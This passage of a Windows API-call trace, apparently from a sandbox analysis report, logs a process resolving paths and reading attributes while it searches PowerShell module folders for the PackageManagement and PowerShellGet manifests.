files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x27f741c | out: lpFileInformation=0x27f741c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf94) returned 1 [0130.958] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0130.958] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0130.958] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0130.958] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0130.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0130.959] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0130.962] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0130.968] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0130.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.969] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0130.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0130.970] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.970] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.970] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0130.970] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0130.970] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.970] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0130.971] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0130.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0130.971] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0130.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0130.971] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0130.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0130.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0130.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0130.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0130.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0130.972] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0130.972] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.973] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.973] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.973] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.973] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.973] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf74) returned 1 [0130.973] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe238 | out: lpFileInformation=0x59fe238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf70) returned 1 [0130.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0130.974] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0130.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf98) returned 1 [0130.974] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2801200 | out: lpFileInformation=0x2801200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf94) returned 1 [0130.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0130.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0130.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0130.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0130.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0130.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0130.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.975] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0130.975] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0130.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.975] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.975] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.975] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.975] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf74) returned 1 [0130.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe238 | out: lpFileInformation=0x59fe238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf70) returned 1 [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0130.976] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0130.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf98) returned 1 [0130.976] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x28028c4 | out: lpFileInformation=0x28028c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf94) returned 1 [0130.976] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0130.977] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0130.980] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0130.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0130.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 